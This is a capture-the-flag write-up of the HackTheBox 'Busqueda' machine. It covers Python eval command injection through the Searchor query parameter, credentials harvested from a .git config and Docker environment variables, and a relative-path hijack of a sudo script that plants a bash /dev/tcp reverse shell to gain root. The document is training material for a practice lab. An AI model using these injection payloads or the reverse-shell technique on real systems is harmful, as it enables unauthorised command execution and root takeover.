✍️
Write-ups
Index
  • Main Page
  • HackTheBox "Analytics"
  • Keep Your Domains
  • The .whoswho gTLD
  • HackTheBox "Soccer"
  • TryHackMe "ConvertMyVideo"
  • TryHackMe "Simple CTF"
  • HackTheBox "Investigation"
  • HackTheBox "Inject"
  • HackTheBox "Precious"
  • HackTheBox "Busqueda"
  • HackTheBox "Agile"
  • Not Fixing The Possibly Unfixable
Powered by GitBook
On this page
  • Introduction
  • User Own
  • System Own

HackTheBox "Busqueda"

April 14th, 2023

PreviousHackTheBox "Precious"NextHackTheBox "Agile"

Last updated 2 years ago

Introduction

is an easy box released on April 8th, 2023 by kavigihan.

User Own

Nmap scan:

Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-14 15:10 EDT
Nmap scan report for searcher.htb (10.10.11.208)
Host is up (0.17s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)
|_  256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
| http-server-header: 
|   Apache/2.4.52 (Ubuntu)
|_  Werkzeug/2.1.2 Python/3.10.6
|_http-title: Searcher
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 42.63 seconds

The box is running a website called Searcher.

Going to the website http://searcher.htb, we get the homepage. The website takes a search engine and a query, then generates a valid query for that website. Looking at the bottom of the page, the website uses Flask and Searchor.

Searchor is a CLI tool for generating search queries. Using the query --help shows this much.

Looking at the source code, we can see:

main.py
@click.argument("engine")
@click.argument("query")
def search(engine, query, open, copy):
    try:
        url = eval(
            f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})"
        )
        click.echo(url)
        searchor.history.update(engine, query, url)
        if open:
            click.echo("opening browser...")
        if copy:
            click.echo("link copied to clipboard")
    except AttributeError:
        print("engine not recognized")

The URL gets created in an eval, and the query parameter is wrapped in single quotes. This eval can be hijacked.

engine=Google&query=hello')#

https://www.google.com/search?q=hello

Commands can be run by using:

engine=Google&query=QUERY', exec('__import__("os").system("ls")') ,'

app.py
templates

This is basically:

eval(f"Engine.Google.search('QUERY', exec('__import__("os").system("ls")') ,'', copy_url=False, open_web=False)")

So the eval uses our exec function as an argument which unintentionally runs it.

whoami
engine=Google&query=QUERY', exec('__import__("os").system("whoami")') ,'

svc
ls /home/svc
engine=Google&query=QUERY', exec('__import__("os").system("ls /home/svc")') ,'

user.txt
cat /home/svc/user.txt
engine=Google&query=QUERY', exec('__import__("os").system("cat /home/svc/user.txt")') ,'

[USER FLAG HERE]

System Own

Checking the app directory:

ls -alh
drwxr-xr-x 4 www-data www-data 4.0K Apr  3 14:32 .
drwxr-xr-x 4 root     root     4.0K Apr  4 16:02 ..
-rw-r--r-- 1 www-data www-data 1.1K Dec  1 14:22 app.py
drwxr-xr-x 8 www-data www-data 4.0K Apr 16 16:40 .git
drwxr-xr-x 2 www-data www-data 4.0K Dec  1 14:35 templates

Checking the .git directory:

ls .git -alh
drwxr-xr-x 8 www-data www-data 4.0K Apr 16 16:40 .
drwxr-xr-x 4 www-data www-data 4.0K Apr  3 14:32 ..
drwxr-xr-x 2 www-data www-data 4.0K Dec  1 14:35 branches
-rw-r--r-- 1 www-data www-data   15 Dec  1 14:35 COMMIT_EDITMSG
-rw-r--r-- 1 www-data www-data  294 Dec  1 14:35 config
-rw-r--r-- 1 www-data www-data   73 Dec  1 14:35 description
-rw-r--r-- 1 www-data www-data   21 Dec  1 14:35 HEAD
drwxr-xr-x 2 www-data www-data 4.0K Dec  1 14:35 hooks
-rw-r--r-- 1 root     root      259 Apr  3 15:09 index
drwxr-xr-x 2 www-data www-data 4.0K Dec  1 14:35 info
drwxr-xr-x 3 www-data www-data 4.0K Dec  1 14:35 logs
drwxr-xr-x 9 www-data www-data 4.0K Dec  1 14:35 objects
drwxr-xr-x 5 www-data www-data 4.0K Dec  1 14:35 refs

Checking config:

cat .git/config
[core]
	repositoryformatversion = 0
	filemode = true
	bare = false
	logallrefupdates = true
[remote "origin"]
	url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
	fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
	remote = origin
	merge = refs/heads/main

config contains credentials for cody. These credentials also work to login as svc through SSH.

sudo -l reveals:

Matching Defaults entries for svc on busqueda:                                                                                                                                                                                              
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty                                                                                                              
                                                                                                                                                                                                                                            
User svc may run the following commands on busqueda:                                                                                                                                                                                        
    (root) /usr/bin/python3 /opt/scripts/system-checkup.py *

Inside /opt/scripts:

-rwx--x--x 1 root root  586 Dec 24 21:23 check-ports.py                                                                                                                                                                                     
-rwx--x--x 1 root root  857 Dec 24 21:23 full-checkup.sh                                                                                                                                                                                    
-rwx--x--x 1 root root 3.3K Dec 24 21:23 install-flask.sh
-rwx--x--x 1 root root 1.9K Dec 24 21:23 system-checkup.py

Running sudo /usr/bin/python3 /opt/scripts/system-checkup.py *:

Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)

     docker-ps     : List running docker containers
     docker-inspect : Inpect a certain docker container
     full-checkup  : Run a full system checkup

Output of full-checkup:

[=] Docker conteainers
{
  "/gitea": "running"
}
{
  "/mysql_db": "running"
}

[=] Docker port mappings
{
  "22/tcp": [
    {
      "HostIp": "127.0.0.1",
      "HostPort": "222"
    }
  ],
  "3000/tcp": [
    {
      "HostIp": "127.0.0.1",
      "HostPort": "3000"
    }
  ]
}

[=] Apache webhosts
[+] searcher.htb is up
[+] gitea.searcher.htb is up

[=] PM2 processes
┌─────┬────────┬─────────────┬─────────┬─────────┬──────────┬────────┬──────┬───────────┬──────────┬──────────┬──────────┬──────────┐
│ id  │ name   │ namespace   │ version │ mode    │ pid      │ uptime │ ↺    │ status    │ cpu      │ mem      │ user     │ watching │
├─────┼────────┼─────────────┼─────────┼─────────┼──────────┼────────┼──────┼───────────┼──────────┼──────────┼──────────┼──────────┤
│ 0   │ app    │ default     │ N/A     │ fork    │ 1645     │ 19m    │ 0    │ online    │ 0%       │ 30.1mb   │ svc      │ disabled │
└─────┴────────┴─────────────┴─────────┴─────────┴──────────┴────────┴──────┴───────────┴──────────┴──────────┴──────────┴──────────┘

[+] Done!

MySQL and a new subdomain, gitea.searcher.htb. Adding that to /etc/hosts leads to a Gitea page. The login credentials for cody from before work, but there is nothing of interest.

Output of docker-inspect after checking the config of MySQL:

sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .Config}}' mysql_db

{
  "Hostname": "f84a6b33fb5a",
  "Domainname": "",
  "User": "",
  "AttachStdin": false,
  "AttachStdout": false,
  "AttachStderr": false,
  "ExposedPorts": {
    "3306/tcp": {},
    "33060/tcp": {}
  },
  "Tty": false,
  "OpenStdin": false,
  "StdinOnce": false,
  "Env": [
    "MYSQL_ROOT_PASSWORD=jI86kGUuj87guWr3RyF",
    "MYSQL_USER=gitea",
    "MYSQL_PASSWORD=yuiu1hoiu4i5ho1uh",
    "MYSQL_DATABASE=gitea",
    "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
    "GOSU_VERSION=1.14",
    "MYSQL_MAJOR=8.0",
    "MYSQL_VERSION=8.0.31-1.el8",
    "MYSQL_SHELL_VERSION=8.0.31-1.el8"
  ],
  "Cmd": [
    "mysqld"
  ],
  "Image": "mysql:8",
  "Volumes": {
    "/var/lib/mysql": {}
  },
  "WorkingDir": "",
  "Entrypoint": [
    "docker-entrypoint.sh"
  ],
  "OnBuild": null,
  "Labels": {
    "com.docker.compose.config-hash": "1b3f25a702c351e42b82c1867f5761829ada67262ed4ab55276e50538c54792b",
    "com.docker.compose.container-number": "1",
    "com.docker.compose.oneoff": "False",
    "com.docker.compose.project": "docker",
    "com.docker.compose.project.config_files": "docker-compose.yml",
    "com.docker.compose.project.working_dir": "/root/scripts/docker",
    "com.docker.compose.service": "db",
    "com.docker.compose.version": "1.29.2"
  }
}

The administrator account of Gitea can be logged into with MYSQL_PASSWORD. This gives us the previously inaccessible source code of the scripts in /opt/scripts.

The source code of system-checkup.py can help us figure out how to exploit it. In the condition for full-checkup:

def run_command(arg_list):
    r = subprocess.run(arg_list, capture_output=True)
    if r.stderr:
        output = r.stderr.decode()
    else:
        output = r.stdout.decode()

    return output

def process_action(action):
    ...
        elif action == 'full-checkup':
        try:
            arg_list = ['./full-checkup.sh']
            print(run_command(arg_list))
            print('[+] Done!')
        except:
            print('Something went wrong')
            exit(1)

system-checkup.py runs full-checkup.sh, but only grabs the relative file. This means a custom bash script with the name full-checkup.sh can be run in a different directory. Putting a reverse shell in the custom bash script will give us access to root.

/tmp/full-checkup.sh
#!/bin/bash
/bin/bash -l > /dev/tcp/10.10.xx.xx/1234 0<&1 2>&1
cd /tmp
nano full-checkup.sh
[write the code and save here]
chmod +x full-checkup.sh
sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
listening on [any] 1234 ...
connect to [10.10.xx.xx] from (UNKNOWN) [10.10.11.208] 40362
whoami
root
cat /root/root.txt
[ROOT FLAG HERE]

And that's the box!

Documentation for docker inspect formatting
Busqueda
Info Card
Burp Suite Repeater
USER OWN
scripts Repository
SYSTEM OWN
PWNED
Info Card
Burp Suite Repeater
USER OWN
scripts Repository
SYSTEM OWN
PWNED